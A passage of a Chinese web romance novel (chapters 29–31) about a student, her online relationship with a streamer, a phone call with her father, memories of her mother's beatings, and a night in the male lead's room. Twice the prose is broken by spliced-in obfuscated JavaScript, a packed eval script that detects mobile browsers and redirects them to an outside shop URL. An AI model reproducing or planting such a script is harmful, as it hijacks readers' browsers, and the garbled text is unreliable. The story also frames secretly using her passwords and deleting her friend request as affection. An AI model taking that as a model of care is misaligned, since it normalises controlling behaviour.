桌上有一叠一叠摊开的乐谱,大部分都已经写满了。 之前给薛年年发消息时他停了下来,现在,他又重新拿起钢笔,仿佛不用思考,他的右手流畅地在空白乐谱上画起音符。 画了一会,他看到手机屏幕上弹出一条消息: 【》》为什么发现不了啊?】 肖余立刻回复道:【大概因为……傲慢会孕育出遗忘,而遗忘又会孕育出陷阱】 【》》这也是哪个哲学家说的话吗?】薛年年大概能理解,但又觉得有点绕。 【这是我说的】 【》》……】 【怎么,我不像是能说出这种有文化的话的样子吗?】 薛年年愣了一下:【》》当然不是!我一直觉得你很厉害,比我以前见过的所有人都厉害!我问你只是觉得有点好奇而已】 好奇啊…… 肖余缓缓放下钢笔,表情逐渐变得有些认真:【那如果我说,我在网上直播是为了一种可以称之为“梦想”的东西,你会笑话我吗?】 【》》我为什么要笑话你啊?】 【现在竟然还有人会相信“梦想”这种东西,其实挺好笑的吧】 不好笑。 薛年年觉得有梦想是一件很了不起的事情,她就没有梦想…… 以前她的“梦想”就是妈妈的梦想—— 可考上全国最好的大学后,在大学里,薛年年根本就不知道她还能做什么。 像其他人一样卷绩点,卷实习,然后毕业,找一份和专业相关的工作? 那是大家都在做的事情,而不是她想要做的事。 她没有喜欢的东西,没有特长,也没有追求。 在她过去十几年的生命里,薛年年生活的全部就只有高考。 肖序长得那么好看,身材又好,能力又强,现在或许还可以加上一条,家里还那么有钱。 他竟然也有无法实现,想要追求的“梦想”吗? 薛年年有些羡慕他。 等等。 想着想着,薛年年猛然回神,“肖序”说他直播是为了梦想—— 难道他的理想就是能够自由地在网上擦边吗??? 好,好奇怪的梦想。 虽然薛年年不是很理解,并大受震撼,但是……嗯。 如果肖序很喜欢的话那也没办法吧? 生在那么有钱的家庭,他的长辈肯定会强行要求他成为一个得体的精英人士。 可人的性-癖是很复杂的啊…… 如果肖序是真的憋慌了想要在网上抒发一下,好像……也在情理之中? 薛年年忽然觉得她明白了一切! 怪不得肖序在线下也那么喜欢“互动”!! 看来她最初的猜想竟然是对的! 他不是因为缺钱,而是因为m的性-癖得不到抒发才导致他一直那么高冷又压抑啊! 薛年年立刻对他肃然起敬。 肖序都那么有钱了,还对她“营业”得那么热情,真的很有追求! 这可是要成为深夜擦边之王的男人! 29. 第一次在卧室 梦想就算很奇怪也没关系,重要的是肖序对待直播和观众都很认真! 而且他擦边营业的能力实在太强了! 薛年年觉得她此刻很有必要,表达一下对他能力的认可和支持: 【》》绝对不会笑话你的!】 【》》老实说,我一直觉得你想做什么都能做到】 【是吗……甜心你真的这么认为?】 电话另一边,肖余坐在教室的角落里,灰蓝色的眼睛笑得微微眯起。 薛年年继续夸夸他:【》》当然,上次你直播时放的背景音乐,我就觉得很好听,但后来我在网上没搜到……】 【因为那是我写的】 肖余看她似乎很喜欢,立刻从自己的曲库中调出源文件,发给了她。 薛年年盯着屏幕愣了一秒,震惊道:【》》好厉害啊!!你怎么什么都会?】 【随便写写而已】 肖余装成一副不在意的语气,实际被她夸得尾巴都要翘起来了: 【未来我会写得更好】 【》》嗯嗯!你肯定能行】 【以后录好新曲子,我都第一时间发给你】肖余像献宝一样,开始给她打包他以前写过的曲谱。 薛年年觉得他实在太强了,每天日程那么紧张,竟然课余还有时间能写歌! 【》》我想听——不过你会累吗?】 【不累啊,我又喜欢你,又喜欢写歌,做喜欢的事怎么会累?】 【》》但是身体会累啊,要注意休息的】 不然生病会很难受,薛年年深切体会过了。 她的消息发送过去,对面莫名停顿了几秒后,才忽然又回复道: 【这么说起来,最近我身体好像是有点不舒服……】 【》》我就说吧,要多休息!】 【》》哪里不舒服啊?】 【[图片]:黑色紧身衣,右手捏胸肌】 【啊~胸口好涨】 【呜呜呜呜呜呜我难受,甜心快来帮我揉一揉!】 薛年年:【》》?????】 屏幕上大喇喇地弹出一张“肖序”捏他自己伟岸的扔子的实况图。 薛年年整个人都傻掉了! 我可在你家啊! 你就坐隔壁冷着脸给我发这种东西吗??? 她吓得赶紧删掉了图片,像卧底收情报一样阅后即焚。 删了之后薛年年还觉得不保险,直接把有可能暴露他身份的内容全删了,还给“肖序”改了【推销员】的备注,免得之后线下被他发现。 屏幕另一边的人却丝毫没有察觉到她的良苦用心,还在发送道: 【老婆我好想你啊呜呜呜呜呜,想你想得胸口疼】 【[图片:更用力地捏]】 薛年年删得手更疼,她一边删一边回复道: 【》》别假哭了!疼就自己揉一揉……等等,你不是已经在揉了吗!】 【没有你帮我的效果好呜呜】 肖余装得一副柔弱不能自理的样子,一点也不像是能在健身房卧推两百斤的人。 薛年年脑子里莫名浮现出了肖序在她隔壁,哭得梨花带雨的表情,吓得一激灵: 【》》请使用人类的语言和我交谈!】 【老婆你不关心我的身体了吗?[委屈][可怜][哭哭]】 【》》你这样会显得我智商很低,虽然我的智商确实也不高……】 薛年年觉得他简直无理取闹。 线下她和肖序的关系刚缓和一点点,可不能在这种紧要关头又出问题! 以后如果在学校,他们小组作业做着做着,肖序突然发神经,想给她发消息。 她的屏幕上要是弹个他的胸或者牛子出来,薛年年觉得肖序这辈子都不会再见她了! 她的毕业证也会永远永远离开她!! 这简直是鬼故事…… 为了他们双方的友好合作关系,薛年年立刻警告道: 【》》还有,之后你记得不要在白天给我发信息】 【……为什么?】 【》》白天在上课哎,要好好听课!】 【》》而且你发的这些东西要是被我的朋友看到了怎么办?】 “……” 消息发送过去,对面忽然陷入了诡异的沉默。 过了许久,屏幕上才出现新的对话框。 【你的朋友……还会看你的手机?】 肖余敏锐地嗅到了不对劲的地方,皱眉道: 【朋友之间要保持距离】 【建议绝交】 薛年年:“???” 【今天早上你也说起过你的朋友】 肖余越想越觉得不安。 他内心产生了强烈的不适感,脑海中控制不住浮现出无数种可能,却只能先忍耐道: 【甜心……你不觉得这样做,会显得我们两个像在深夜里偷情一样吗?】 【》》?不觉得】 【那你有很多朋友吗?】 【》》没有啊】薛年年实话实说道。 肖余还没放下心,就看到对面又发送道: 【》》应该说很少,但是我都很珍惜】 ……珍惜? 珍惜谁?朋友??? 肖余的脑子直接炸了:【朋友有什么好的?】 【有我好吗?】 【难道你身边有个朋友很特殊?】 【男的?女的?不男不女的?谁啊?】是情敌???? 没错肯定是情敌!!! 不然她怎么会那么上心?究竟是谁? 她身边有很多喜欢她的人吗? 当然,这想都不用想!她那么好肯定有很多人喜欢!! 那她……也有其他喜欢的人吗? 不行!!! 【只要我一个不行吗?】 肖余才不想管她身边那些莫名其妙的朋友,在他看来这些所谓的“朋友”、“同学”全都是他潜在的情敌。 【我不想只能到晚上才联系你】 【完全做不到】 【不行不行不行不行不行不行不行不行不行不行不行】 【》》现在也少发一点……】薛年年删聊天记录删得手疼。 【……】 【你嫌弃我】 【我一给你发消息,你就让我少发】 肖余沮丧道:【我很拿不出手吗?】 【那我现在少发一点吧……】 【不行!我白天就是要联系你!!!!!】 他想半天还是咽不下这口气,像被点燃了引线的地雷一样,直接炸开了。 【我要闹了】 【我要闹了】 【我要闹了】 薛年年不知道他为什么反应那么大:【》》听话嘛……】 【》》白天很忙,你就算给我发,我也不可能及时回你啊,发了有什么用呢?】 【没有用也要发】 【这样你一忙完就能看到我】 【今天你的朋友能阻止我联系你】 【明天他们就敢当着我的面勾引你!我还不懂那些人的想法吗?这叫挑衅!】 【老婆,你的朋友在挑衅我!!!】 薛年年觉得他真的想太多了…… 她啪啪打字,本想再多说两句,但猛然间,她的手机铃声响了起来。 薛年年看到来电显示是爸爸给她打来的,立刻接听,听筒里瞬间传出了粗犷的男声: “年年,在外面过得好吗,有没有按时吃饭?” 薛年年本想说“有”,但这几天生病她都没按时吃,她就只报喜不报忧道: “我过得很好,姥姥和爸爸也好吗?” “好,都好,你姥姥现在还能下地割麦子呢,身体好得很。” 薛年年又问:“爸爸是回家去看望姥姥了吗,忙完外面的事了?” “最近运输生意不好做,我就回来休息一段时间。”爸爸叹了口气,“不过年年你千万别担心,生活费一定不要省,该花就花。” “你都考上A大了,这么光宗耀祖的事,爸爸就算卖房子也要把你这个高材生给供出来!” 薛年年哽了一下,本想说到了大学,她在各种状元,竞赛大神中间就是一个很普通的人,已经不算是“高材生”了。 下一句,爸爸果然又习惯性问她:“最近学习怎么样?” “还,还行……” 其实根本不算行,她已经很努力了,但大多数课也只是勉强能及格,只有少部分靠运气能到80几分。 有几门操作课,她还—— 总之,她一定要转专业才有可能毕业。 薛年年想到这段时间她为了转专业,努力和肖序搞好关系。 现在虽然在他家,还在网上和他“恋爱”了,却完全不知道这究竟算不算得上关系好。 肖序线下那张冷脸实在太有迷惑性了。 线上他的脾气又炸得很……诡异? 薛年年完全猜不透他每天都在想什么,就像猜不透柳思睿的想法一样。 哦对……她还意外和表哥也闹了矛盾! 仔细思索一下,努力了这么多天,她竟然什么事都没完全做成,只得到了两天的高烧。 人际交往真的好难…… 薛年年忽然觉得有点沮丧。 她咬紧嘴唇,小声道:“学习吗……爸爸,如果我说,我学不懂,不想学了,你会怎么样?” 会打她吗? 然而出乎她预料的,爸爸听到她的话后,只在电话另一边停顿了一瞬,就回复道: “没关系,学不懂也没事,不想学了就回家,爸爸养你一辈子。” 薛年年呆住了。 她没想到爸爸会这么说。 但意外地,她没有感觉到丝毫的安慰。 薛年年愣愣地听着这句话,内心中不知为何,忽然产生了一股巨大的荒谬感。 她寒窗苦读十几年,手上写字磨起了好多个硬茧,被妈妈打过那么多次,连除夕夜都在做卷子…… 她那么努力地学习,不是为了回家让爸爸养她一辈子的。 以前,每次镇上有其他家长,看她学习认真,挖苦她说: “那么努力学习干嘛,成书呆子了都。上了大学就能找到好工作吗?还不如早点辍学去学门手艺,说不定能赚更多钱。”的时候。 总是打她、骂她,说她笨的妈妈都会像只豹子一样,挡在她身前,暴怒道:“我的女儿和你们不一样!她一定会有非凡的成就!” “她一定会到外面去,她一定会考上好大学,她和你们都不一样,不一样!” 妈妈是绝不会在她学不懂时,和她说“不想学就回家”这种话的。 她只会用竹竿打她,驱赶她不停地往前走。 后背和大腿上经年不散的伤口仿佛又疼痛了起来。 薛年年应激般颤抖着。 她抱紧自己的手臂,感觉到浑身发冷,却又止不住地感到愧疚与害怕——她让妈妈失望了吗? 考上大学后,她好像并没有成为一个非凡的人。 她到小镇外面去了……然后呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012484|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她依旧想不明白,她究竟是为了什么在读大学。 她是个普通人,没有爱好,没有特长,没有梦想,甚至不知道该怎么和不熟的人说话。 她唯一擅长的高考已经结束了,未来……她还能够做什么呢? 巨大的愧疚感和挥之不去的荒谬感占据了薛年年的大脑。 她已经记不得后续她又和爸爸说了些什么。 薛年年匆匆忙忙地挂断电话,回到屏幕,看到和“肖序”的对话框上,还停留在: 【老婆,你的朋友在挑衅我!!!】 【……】 【怎么,又不理我了吗?】 【难道我说错了?】 【他肯定是在故意挑拨我们之间的关系】 【你听明白了吗?他在故意挑拨!!!】 【快哄我!】 【…………】 【还不理我。】 【为了一个莫名其妙的朋友,你就要这么对我吗?】 【我算什么???一条你召之即来挥之即去的狗吗?】 【真的不理我了?】 【这算威胁吗?是威胁吧】 【……】 【那我也不想理你了】 【去找你的好朋友吧,白天不想回我消息,那晚上也别回】 薛年年缩在被子里,原本因为对父母的愧疚浑身都在发抖。 然而看到这一连串的消息后,她忽然就掀开了被子,踩上冰凉的木质地板,小跑出了房间。 沟通……出问题要沟通…… “薛小姐,您——” 门口站着一个像是管家的人。 见她推开房门,他赶忙上前,恭敬地问道:“您想要用餐吗?少爷让我在外面等您醒来,您有任何需求都可以直接告诉我。” 薛年年一见到是陌生人,立刻停下了脚步,手指攥紧。 她握住自己的手机,想到刚刚和爸爸的电话,还有和“肖序”聊天的经过—— 谈恋爱出问题,要用沟通来解决。 这是“肖序”自己说的。 线上吵架不如线下解决。 但薛年年完全不知道该怎么沟通,也不知道自己应该怎么做。 她只是本能地觉得,她此刻有必须要去做的事。 “您,您好……” 薛年年强迫自己不要太紧张,满脸通红地询问道:“我想问一下,肖,肖同学他现在在哪里呢?” “大少爷吗?他在卧室,现在是他的睡眠时间。”管家柔声回答。 肖序刚放下电话就睡着了吗? 不可能吧……他平时直播结束的时间都比这晚。 薛年年咬紧嘴唇,浑身紧绷道:“我……我知道这或许很冒犯,但您能现在带我去找他吗?” “这——” 管家本想说不太方便。 但一想到今天大少爷对这个女孩的态度,还有那个被好好收拾起来的空水瓶—— 管家控制着自己的面部不产生任何波动,心中却感到十分复杂。 现在在国内,还算是法内之地,大少爷表现得或许还不算太明显。 如果之后回到英国,那情况就完全不一样了…… 在英国,法内法外,任何事情,只要是她想。 哪怕只是年轻女孩不负责任的空想或者胡闹,都会有一堆侍从追着去帮她满足,并摆平这些胡闹可能会造成的一切损失和麻烦。 大少爷目前对这个女孩的态度……几乎可以算是无底线的纵容和溺爱。 他还是不要插手太多。 管家面上不显,只保持着恭敬的语气,回答道:“您如果想去找大少爷的话,请跟我到这边来。” 薛年年跟在管家的身后,很快来到了一间卧室的门口。 房门紧闭。 管家放轻声音,朝她鞠了一躬,致歉道:“请恕我不能陪同您一起进去,如果您之后有任何需求,可以随时吩咐我。” 薛年年被他过于“有礼貌”的态度吓了一跳,没忍住后退了一步。 管家说完后也退到了一旁。 要是肖序真的睡了,她当然不会去故意打扰他。 薛年年只是想一定要先来卧室看一眼,如果看到肖序没睡,那她就—— 等等,她是来做什么的? 沟通?可她根本就不会沟通啊…… 薛年年思索着,手却已经下意识推开门,轻轻走进黑暗的卧室。 她没有开手电筒,也没有发出任何声音,光着脚走到床边,看到一个苍白的人影正躺在床中央。 人影睡着的姿势规整又死板,就像躺在棺材里的吸血鬼一样。 薛年年瞬间停下脚步,没敢再靠近。 他闭着眼睛,呼吸均匀,好像真的睡了……那她还是先走吧? 然而还没等薛年年往后退,床上的人在她靠近的瞬间,忽然睁眼。 薛年年的心脏猛地一跳,本能地想逃跑。 她好像把肖序吵醒了,他会生气吗?她是不是又做错事了? 唔……她真的不懂该怎么和人交往…… 从窗外略微透过光线。 黑暗中,他半撑起身体,那双冰冷的灰蓝色眼眸缓缓望向她,就像是月下的狼一样锐利。 薛年年的心中无比紧张,浑身绷紧。 她害怕地垂下头,想让自己的存在感降到最低。 但下一秒,不由她拒绝,她被拉过去,冰凉的掌心贴上她的前额。 熟悉的薄荷味钻进领口。 “要告诉我为什么吗?”他轻声问道。 30. 第一次过家家 心跳在黑暗中不断加速,薛年年上身前倾,不由拒绝地被他拉到床边。 他冰凉的掌心贴在她的前额。 停顿两秒后,肖序声音冷淡道:“温度正常。” 薛年年被他过于淡漠的语调激得下意识抖了抖。 她看到面前的人立刻皱了一下眉,问:“你在害怕?” “……有一点。” “那为什么要来?”肖序无法理解。 他那双漂亮又剔透的蓝眼睛近在咫尺。 被他注视的瞬间,仿佛他睫毛落下的阴影都有了重量。 薛年年强迫自己不要太紧张,略微抬起头,鼓起勇气,掐住手心说: “因为害怕不能解决问题。” 她实在过于不会“沟通”了……在网上和“肖序”闹了矛盾,薛年年完全不知道该怎么解决,只能先线下来摸摸他的态度。 当然除了这件事,更多还是因为,刚才她和爸爸通过电话。 薛年年此刻的心情很糟糕。 她不想让自己陷在那份永无止境的愧疚里,只能先转移注意,去解决另一件不那么糟糕的事情。 “在来之前,我想,如果你没睡的话,或许我能和你聊一聊。” 薛年年攥紧自己的手,声音听起来有些小心翼翼, “但是我好像把你吵醒了……你有生气吗?我看不太出来。” “没有。” 肖序依旧没有表情,语调却听起来有些慵懒,显得格外漫不经心。 在刚醒的倦意下,他的眉眼还尚存几分少年般的稚气。 额前的碎发有些凌乱,黑发半遮住他的眼睫。 就算真的没生气,此刻他过于俊秀又年轻的长相,配合上他刚才漫不经心到有些不屑的语调,听起来就像在赌气一样。 薛年年不知道为什么,忽然意识到,肖序竟然能和她算是同龄人。 平时他实在太冷淡,又太可靠了。 只有在这种时候,她才会把网上那个说话总是不着调,喜欢骚哄哄地叫她“老婆,宝贝儿,甜心”的人,和面前的人联系在一起。 除了爱好有些奇怪,肖序其实也没那么可怕嘛…… 而且他们可是在谈恋爱啊! 薛年年强行说服了自己,缓缓镇定下心神,膝盖抵上床垫,略微凑近他说: “要是你没生气的话……那我们就来聊一聊可以吗?” 卧室昏暗的光线里,床垫凹陷下去,形成一个轻浅而柔软的弧度。 薛年年的双膝分开,脚踝贴到大腿外侧,裙摆盖住小腿,像朵小蘑菇一样坐到他的床角。 她的身上只穿了一件单薄的睡裙,领口和细肩带上白色的花边丝毫起不到保暖作用。 房间里冷气很充足。 她肩带上的花边在空气中颤巍巍地抖动着,像是完全忘记自己才发过烧,她匆匆忙忙就跑来见他了—— 什么事这么重要? 说没生气,其实并不完全准确。 肖序只是没有起床气而已。 今晚他在处理其他事,没有按预留的时间表去“陪伴”她。 薛年年睡醒之后,想把原本晚上相处的时间挪到凌晨补偿,是很合理的选择。 肖序并不觉得她故意把他叫醒有什么问题。 但这并不代表,他的脾气很好。 脑海中闪过今早和弟弟的通话。 肖序缓缓掀开被子的一角,把面前的人又往前带了一些,问:“聊天的目的是想找我帮忙?” “哎?你怎么知道!” 薛年年瞪大了眼睛。 话音刚落,她的视野忽然变得黑暗。 空气被全部抽走,她整个脑袋被闷在了被子里。 柔软的布料从头顶罩住她的全身,薛年年下意识挣扎了一瞬,听到外面传来他冷硬的声音: “不想再生病就别动。” 她愣了愣,停下来,扒拉了一下,从一个小小的洞中探出脑袋。 肖序的手落在她的脖颈下方,他捏住被子,看她像刚从兔子洞里钻出来一样,眼睛还有些泛红。 很可爱。 “……你干什么啊!” 薛年年呼吸到了新鲜空气,从被窝里钻出来,第一件事就是找他吵架, “我一点也不冷,而且刚刚你吓到我了!” 她下意识用上了在网上和他吵架时的语气。 肖序略微垂眸,没有多言,只用被子将她再次裹紧。 等她能感觉到冷的时候,已经又发烧了。 把人团成一个蚕茧后,他将攥住的被子一角塞进她手里,面无表情道: “捏好。” 薛年年下意识接过来,手乖乖地把布料捏在下巴处,抬起头,目光变得茫然。 她整个人被包得严严实实的,望着面前严肃又沉默的人,忽然觉得有些不对劲起来: “肖——你觉得我很麻烦吗?“ “不。” “但你刚才那样肯定是故意吧,很讨厌!” “哦。” “这样不行,要提前告诉我一声啊——等等,你不会……真的是在赌气吧?” “嗯。” ……他竟然承认了?? 薛年年震惊地张了张嘴,疑惑道:“为什么啊?” “想让我帮你做什么?”肖序没有直接回答,语调也听不出任何情绪。 他移开视线,不再看她。 薛年年缩在温暖的被窝里,迷茫地眨了一下眼睛,没明白他线下怎么也生气了? 她又惹到他了吗? 生气的时候……是没法好好沟通的吧? 薛年年仔细想了想,觉得只有一个办法能解决。 她深吸一口气,做好心理准备,缓缓从被子里伸出手,用指尖轻轻地,试探般摸了摸肖序的下颚。 他就在她面前,没有躲避,甚至连一丝多余的反应都没有。 果然这对于一个擦边主播来说,是很普通的“互动”对吧? 这样会让他消气吗? 薛年年摸了一下就适可而止地想收回手,猛然间,又被面前的人按住了手腕。 “不够。” “……咦?” “你想让我帮你做一件很重要的事。”他确定道。 他此刻的语气听起来格外冷厉,原本那股带着倦意的少年气,此刻完全消失了。 肖序灰蓝色的眼睛像狼一样锁定她,目光落在她眼角那颗红色的小痣上,冷声道: “如果你想用这样的方式,让我帮你,那还不够。” 薛年年有些茫然:“可我这是在感谢你啊?” “感谢?” “嗯,谢谢你今天让医生来给我治病,我已经好多了。” 薛年年脑海中还存有一些零星的记忆,“还有现在的被子——也很感谢!” 肖学略微皱眉,似乎并不能理解为什么职责所在的事,她还要特意提起: “只是感谢吗。” “其实也有其它想法啦……” 薛年年刚才那样做,除了想让他消气,也不是完全没有私心。 肖序瞬间又捏紧她的手腕:“先说。” 薛年年的脸逐渐变红,小声道:“我只是觉得你好像懂得很多,所以……想和你聊聊人生——先不要拒绝我!” 她不好意思般垂下头,声音更小了, “我知道半夜故意把人叫醒,来聊这种东西很奇怪,但是……我觉得它真的很重要,而且我不知道该去问谁了!” 薛年年明白这不是肖序该负责的事,她该找个时间在学校里,去和辅导员或者心理老师聊聊。 但她实在是社恐得很没出息…… 既然有选择,她就不想再去面对一个陌生人。 她的话音落下。 屋内却忽然陷入了诡异的寂静。 过了好一会,薛年年才又听到面前的人说: “如果是这种事,下次直接让我去找你。” “……啊?”薛年年愣了一下,“可,可以吗?” “嗯。” 大概是因为刚醒就看到了她。 肖序觉得他直到现在,都没有完全清醒。 薛年年的表情根本就藏不住心事。 他看她之前不管不顾地,感冒刚好一些就跑来找他,还以为她“恋爱脑”发作了。 只要不是让他,今晚就去把她的告白对象绑过来,其他都是小事。 “聊人生?”肖序沉声确认了一遍。 薛年年看他似乎并不抗拒,莫名有点兴奋了起来,她兴致勃勃地侧过身,从被子里探出手,把床头的台灯拧开了一些。 微弱的灯光笼罩住两人。 就像风中摇曳的烛火,身体的温度在暖黄的光晕下逐渐上升,她的肩膀也放松了下来。 “好棒啊……我从来没和人这么晚聊过天!就像找朋友去家里玩过家家一样——你小时候玩过吗?” 薛年年以前可羡慕了,她小时候经常会在窗边一边做作业,一边偷看别人玩。 肖序其实不理解“过家家”具体是什么意思,他甚至都没太有“家庭”的概念。 父亲去世后,母亲在他六岁时住进了精神病医院。 他只在很小的时候,和佣人一起给弟弟换过一次尿布,这算过家家吗? “没玩过。”肖序思索半晌,确定道。 “那今天就算是了!就算很幼稚我也要玩!!”薛年年的眼睛在灯光下亮晶晶的。 “好。” 只要不犯恋爱脑,现在她说什么,肖序都说好。 薛年年一个人缩在温暖的被窝里,越来越兴奋,她干脆把肖序也拉了进来说: “外面会冷吧,你也盖一点……或者我再到哪里去给你找一床新的?” “就这样。”肖序阻止了她。 他面无表情地将她递过来的羽绒被拍了拍,把她周围的被子拍得更加蓬松柔软。 薛年年学着他的样子也拍了一下,然后反应过来,有些意外又茫然地抬起头: “平时不是有人会帮你铺床吗,比如说之前那个……管家?” 薛年年不太明白:“刚刚我怎么觉得,你比我要更会照顾人呢,不是说穷人的孩子早当家吗?” “我只是不做,不是不会。”肖序把被子缓缓往上拉好,让两边的角度都规整地对齐。 他习惯将事物都掌握在自己手中,不出任何差错。 薛年年看着他动作,想起了当初军训时学着叠的豆腐块。 肖序强迫症这么严重,当初肯定是模范标兵…… 薛年年有些苦恼道:“哎……我好像真的只会学习,不对,现在连学习都不会了,我只是会高考而已。” “大学课程考核的维度更多,需要花费一些精力才能做好。”肖序语调平淡道。 薛年年呆呆地眨了一下眼:“所以你也会觉得大学课程更难是吧?” “难?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031884|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肖序略微思索,缓声道,“比起内容,根据不同上课时间,调整日程更难。” 他停顿了一瞬,又补充道:“我不喜欢变化。” 薛年年大概能理解一点:“听起来……好像你不听课也能考好,那为什么还要去上课呢?” “为了把肖序这个人约束在正确的路径上。”他一字一句地回答,目光逐渐变得空洞。 “……正确?”薛年年不太明白。 “换个话题。” 肖序略微侧头,望向她。 晕黄的光线下,他眼眸中的湛蓝此刻像融化了一般,额前黑色的碎发也变得柔软。 他灰蓝色的瞳孔慢慢又有了焦距。 肖序刚刚的语气听起来一点也不严肃,只是像虚浮在空气里。 被窝里温暖又柔软,即便旁边多了一个体温像冰坨子一样的人,薛年年也没有太害怕: “能知道自己上课是为了什么,已经很好了……我就不知道,我根本就不明白自己为什么要上大学。” 她蜷缩起小腿,抱住膝盖,叹气道,“实在太奇怪了,高中至少还有目标,现在我却不知道自己要干什么。” 肖序看着她在被子里缩成一团:“想不出来,会很难受?” 薛年年皱了一下鼻子,点点头:“上了大学后,我经常会觉得自己是个什么都不懂,做任何事都很糟糕的人,好像我没有任何用处。” 她继续叹气道:“甚至我还想过,干脆不要考上大学就好了,这样我就不会想大学的意义是什么了。” “有时候我想得难受,会怀疑自己是不是得了病,但心理疾病不是这个样子的,我也不知道这叫什么……”薛年年的脑子又痛了起来。 每次一想这些事情,她的脑袋就会变得很重。 薛年年晃了晃昏沉的脑袋,感觉到早上发烧时的那股晕眩感又席卷而来。 她的额头变得又有些烫,不知道是因为低烧,还是其他原因。 她迷迷糊糊地躺进被子里,闭上眼,下意识往温度更低的方向挪了挪。 一只冰凉的手缓缓盖上她的头顶。 沉默了几秒,耳边传来他的声音:“能力很多时候代表的是一种责任和负担。” “如果找不到做事的意义,精神就会陷入迷茫——你只是迷茫了而已。” “是吗……因为有能力才会迷茫?” 薛年年略微睁开眼,看到空白的墙壁上,肖序的影子漆黑又凌厉。 在卧室昏黄的灯光里,头顶的人目光却很柔和。 她往他的方向又蹭了蹭:“可我还经常会感到害怕,我害怕很多东西,怕人,怕黑,怕——这样也算有能力吗?” “迷茫会导致虚无和自我否定。” 肖序略微垂眸,缓声道,“但人类是因为害怕黑暗,才学会了使用火,因为害怕被伤害,才学会了使用武器,或许……害怕也是一种能力?” 薛年年忽然完全睁开眼,抬起头,认真地望向他在; “唔……那你这样的,你也会有害怕的事情吗?” “没有。” 肖序的手指缓缓往下,骨节触碰到她眼角那颗红色的小痣,声音平淡道: “正因为不会害怕,才需要约束。” “这样吗……” “嗯。” “我总觉得你刚刚只是在安慰我。”薛年年又缩回被子里,抱紧自己的膝盖。 “如果你感觉到安慰,那或许是听错了。” 肖序的语调依旧平静,“有人说过,我不会安慰人。” 薛年年没有追问说这句话的是谁,只晃了晃晕眩的脑袋: “我怎么又有一点困了,明明白天睡了那么久。” “生病之后要多休息。” “那我是不是该回客房去睡啦,嗯,谢谢你陪我玩……过家家?” 薛年年半撑起身体,正想问问他家衣柜的大小怎么样,够不够她钻进去睡。 下一秒,肖序就捂住了她的眼睛。 “别到处乱跑。” “可——” “会给我增加很多麻烦。”他冷声道,“就睡这里。” “那好吧……” 被子里有点太暖和了,薛年年其实也不想起来。 从被窝里起床,是世上最难的事情。 肖序刚刚让她“别添乱”时,语气听起来很酷很冷淡又很拽,甚至让她有点幻视他直播时候的样子。 有男朋友其实也挺好的吧? 薛年年迷迷糊糊地又躺回被子里,把手机从睡衣口袋里拿出来,递给他: “能不能帮我放远一点啊,姥姥说……睡觉时,手机离脑袋太近会有辐射,虽然不知道她是从哪个养生视频里听来的。” 肖序顺势接过,放到一旁的柜子上。 刚想收手,忽然,手机猛地震动了一下,一个好友申请出现在她的屏幕上。 薛年年的所有密码,肖序早就知道。 【申请添加:我是柳思睿。】 已经是凌晨三点十六分,肖序面无表情地点了【拒绝】,并删掉了这条申请。 薛年年蜷缩在被窝里,睡得有些不安稳,却对此毫无所觉,只迷迷糊糊地拽了拽他的衣角说: “关,关灯。” 晕黄的灯光被关闭。 他将被子给她盖到一个合适的角度,躺下,听到耳边传来微弱的声音: “其实你就是不想让我走……对吧?” “快睡。” 31. 第一次火葬场 一夜多梦。 薛年年睡得很不安稳。 或许是因为没有睡在衣柜里,或许是因为对环境感到陌生…… 在并不算漫长的夜晚里,薛年年惊醒了很多次。 第一二次醒来的时候,她还有点意识,会强行让自己先平静下来,至少不要打扰到旁边的肖序。 但到后来,她几乎每隔十几分钟就会惊醒一次。 薛年年的脑子就完全迷糊了。 苍白的月光压在她的被角,就像鬼压床一样。 沉闷,窒息……如同溺水般绝望。 她差点溺死在空气里,肺叶被无形的手攥紧。 噩梦就像囚笼,恐惧裹紧她的喉管,薛年年感到胸腔极为疼痛,她闭着眼,被困在梦与现实的边界间,几乎忘记了呼吸。 “不——对不起,对不起!对不起……妈妈……” 她抱紧自己的手臂,止不住地颤抖。 喉间干涩到撕裂,“对不起……我错了,是我的错,真的……不想上学,对不起,不要讨厌我。” “不想……不要见到,学校,他们——不要打我,不要讨厌我,为什么都讨厌我,不要!” 刺痛感嵌入皮肤,指尖越来越深。 疼痛就像竹竿在后背刮出紫红色的淤痕,薛年年因为疼痛清醒了一些,又似乎完全没有清醒。 她猛地抽动了一下,眼神朦胧地从噩梦中再次回神。 缓缓睁开眼,薛年年下意识想去咬自己的手背,想抵御梦境中强烈的恐惧与绝望感。 忽然,似乎是察觉到了她的意图,一截略带青筋的手腕放到她的嘴边—— “咬这个。” “我……” “咬吧。”语调平淡到没有丝毫起伏。 薛年年迷茫地抬起头,望向面前的人。 似乎是没听清他在说什么,她重复道:“不要讨厌我。” “不会。” “我又吵醒你了,你肯定会讨厌我……”她垂下头,声音听起来格外沮丧。 肖序没有多言,只无声地叹了口气。 他动作轻缓地揽过她的腰,搂紧。 猛然陷入了一个过分柔软的地方,薛年年的脊背颤抖起来,她不适应睡在这种过于柔软又舒适的环境里。 本能的反应比思考还快,薛年年下意识咬住了此刻离她最近的东西—— 她没什么力气,像刚学会捕猎的小兽一样,叼着他的肩膀啃了一会,只留下了一点浅浅的印记。 发现锁骨很硬,她又立刻换了一个地方……肖序的领口被濡湿。 浸湿的地方逐渐变为黑色。 